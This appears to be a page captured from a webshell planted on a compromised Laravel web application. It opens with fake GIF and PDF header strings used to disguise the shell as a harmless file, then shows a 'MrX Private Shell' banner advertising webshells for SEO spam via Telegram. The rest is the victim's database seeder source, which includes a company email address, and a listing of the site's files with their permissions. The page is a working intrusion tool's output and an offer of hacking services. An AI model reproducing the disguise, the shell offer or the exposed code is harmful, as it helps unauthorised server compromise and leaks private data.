GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace Database\Seeders;
use App\Domain\Users\UserService;
use App\Enums\RoleEnum;
use App\Models\System;
use App\Models\User;
use Illuminate\Database\Seeder;
final class RoleTableSeeder extends Seeder
{
/**
* Run the database seeds.
*/
public function run(): void
{
/**
* @var UserService $service
*/
$service = app()->make(UserService::class);
$roles = [
//'admin', // Супер-пользователь
RoleEnum::ACCOUNTANT, // Бухгалтер
RoleEnum::MODERATOR, // Согласование
RoleEnum::COLLABORATOR // Сотрудник
];
$users = User::query()->where('email', '!=', 'replay@top-it.ru')->get();
$models = System::query()->get();
foreach ($users as $index => $user) {
$role = $roles[$index % count($roles)];
foreach ($models as $model) {
$service->assignRole($user, $role, $model->id);
}
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| factories | Folder | 0755 |
|
|
| migrations | Folder | 0755 |
|
|
| seeders | Folder | 0755 |
|
|
| .gitignore | File | 10 B | 0644 |
|
| 01KFX1CYAABDKCK27C2KDZBH4V.json | File | 18.24 KB | 0644 |
|
| ResponseDto.php | File | 0 B | 0644 |
|
| RoleTableSeeder.php | File | 1.04 KB | 0644 |
|
| TokenResponse.php | File | 0 B | 0644 |
|
| UserFactory.php | File | 1.35 KB | 0644 |
|
| accounts.php | File | 0 B | 0644 |
|
| api-20260128091525.php | File | 0 B | 0644 |
|
| api.php | File | 0 B | 0644 |
|
| app.php | File | 0 B | 0644 |
|
| auth.php | File | 3.93 KB | 0644 |
|
| cache.php | File | 0 B | 0644 |
|
| console.php | File | 369 B | 0644 |
|
| debugbar.php | File | 0 B | 0644 |
|
| phpunit.xml | File | 0 B | 0644 |
|
| samurai_activity.log | File | 213 B | 0644 |
|
| services-20260128075428.php | File | 0 B | 0644 |
|
| services.php | File | 1.01 KB | 0644 |
|
| web.php | File | 0 B | 0644 |
|